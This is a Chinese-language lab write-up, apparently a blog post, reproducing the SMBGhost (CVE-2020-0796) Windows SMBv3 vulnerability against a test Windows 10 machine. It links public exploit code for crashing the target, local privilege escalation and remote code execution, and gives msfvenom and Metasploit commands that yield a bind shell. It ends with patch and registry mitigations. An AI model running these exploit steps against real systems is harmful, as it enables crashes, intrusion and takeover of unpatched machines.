cve-2020-0796_CVE20200796 | Windows SMBv3客户端/永痕之黑漏洞复现

0x01 漏洞介绍

2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,Microsoft Guidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。

0x02 漏洞影响系统版本

  • 适用于32位系统的Windows 10版本1903

  • Windows 10 1903版(用于基于x64的系统)

  • Windows 10 1903版(用于基于ARM64的系统)

  • Windows Server 1903版(服务器核心安装)

  • 适用于32位系统的Windows 10版本1909

  • Windows 10版本1909(用于基于x64的系统)

  • Windows 10 1909版(用于基于ARM64的系统)

  • Windows Server版本1909(服务器核心安装)

0x03 漏洞环境

kali:192.168.44.128

靶机win10:192.168.44.138

永痕之黑 CVE-2020-0796 补丁编号:KB4551762

Tips:在我查看WIN10补丁时,没有看到这个补丁,当我使用检测工具检测时,发现靶机并没有这个漏洞。于是我卸载掉了5月份的一个补丁,和6月份的补丁,再次检测时,发现有这个漏洞了,感觉比较奇妙吧,记录一下。如果不想卸载补丁的话,可以重新装一台WIN10,下载链接:http://msdn.itellyou.cn/ 自己找想要的版本就好了,复现的话,最好停止win10自动更新。

0x04 漏洞复现

1.漏洞检测

漏洞检测工具有很多,个人比较推荐奇安信写的检测脚本

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

直接在cmd中拖CVE-2020-0796-Scaner.exe运行,输入IP,即可完成检测。

Tips:靶机需要关闭防火墙,不然扫描是扫不到的。

4947c17a12969e6e1b3b2e7925f6416b.png

2.漏洞利用

蓝屏POC:https://github.com/eerykitty/CVE-2020-0796-PoC

在Kali下我们执行如下命令:

git clone https://github.com/eerykitty/CVE-2020-0796-PoC.gitpython3 setup.py installpython3 CVE-2020-0796.py 192.168.44.138

Tips:这里需要python3的环境,如果你的kali是python2的话,最好切换python3,当然我并没有尝试过python2去利用,大家可以自己尝试一下可不可行。

a76790f48230ad562e6a9e6a57eaf8ef.png

在kali上执行脚本后,靶机win10就成这样了,然后自动重启。

ea9291a5f020adb3c7ae7ad8d5e591d5.png

3.提权利用

    a.本地提权。

    本地提权POC:https://github.com/danigargu/CVE-2020-0796/releases/download/v1.0/cve-2020-0796-local_static.zip

    建立了一个普通账户hack

e37d0c3f3fb657b9701732da7a7b5f92.png

下面我们把提取exe传上去,执行它。

22c05d7b91e3cd2cb1735eadf8a4508e.png

本地普通用户执行提权exe后弹出cmd窗口,成功获取system权限。

b.远程利用:

远程漏洞利用POC:https://github.com/chompie1337/SMBGhost_RCE_PoC

1.使用msfvenom生成木马

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b ‘\x00’ -i 1 -f python

07591415f686dbecec1b66d9bd506e2d.png

db88ebfa9cfdb36c342d2915fadf76cb.png

将生成的 shellcode 替换 POC 中 exploit.py 里的USER_PAYLOAD字段,注意要将buf替换为USER_PAYLOAD。

2.开启msf监听

use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset RHOST 192.168.44.138run

69c42ef4237f4f7099684e077371b022.png

然后run,开始监听4444端口。

3.运行POC,建立连接。

5d48e722ed4b6fc58fe732ec9d068a16.png

6baf4a4f3a11e7c8e37c3c919662b265.png

连接成功,成功拿到shell.~

总结:在复现的过程中,遇到了很多坑,如下

1.明明检测的时候是可以的,。。但是复现的时候它就自动打上了补丁,执行POC的时候会显示[-] physical read primitive failed!,然后就拿不到shell,导致我疑惑了很久,然后当我发现这个问题时,这个新打的补丁居然是无法卸载的,重新安装了一个win10 1903,才复现成功。

2.补丁号不一定是KB4551762,可能补丁合在一起变成了一个补丁吧。(猜测)

0x04 漏洞修复

1) 及时更新微软针对该漏洞所发布的的修复补丁(KB4551762)

ADV200005 | Microsoft Guidance for Disabling SMBv3 Compression

March 12, 2020—KB4551762 (OS Builds 18362.720 and 18363.720)

2)在注册表中建立一个名为 DisableCompression 的 DWORD (值为1) ,以禁用SMBv3的压缩功能:

powershell 中键入

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

    3)关闭445端口。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值